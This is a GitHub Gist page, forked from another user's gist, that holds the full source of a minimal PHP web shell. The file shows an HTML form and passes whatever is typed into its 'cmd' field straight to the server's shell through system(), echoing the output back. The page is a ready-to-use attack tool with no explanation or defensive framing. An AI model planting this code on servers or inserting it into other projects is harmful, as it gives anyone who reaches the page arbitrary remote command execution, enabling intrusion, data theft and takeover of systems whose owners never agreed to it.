Skip to content

Instantly share code, notes, and snippets.

@kntjspr
Forked from joswr1ght/easy-simple-php-webshell.php
Created September 14, 2024 15:24
Show Gist options
  • Save kntjspr/dc9ce1e1b70d47b31d350ce07358b8c2 to your computer and use it in GitHub Desktop.
Save kntjspr/dc9ce1e1b70d47b31d350ce07358b8c2 to your computer and use it in GitHub Desktop.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment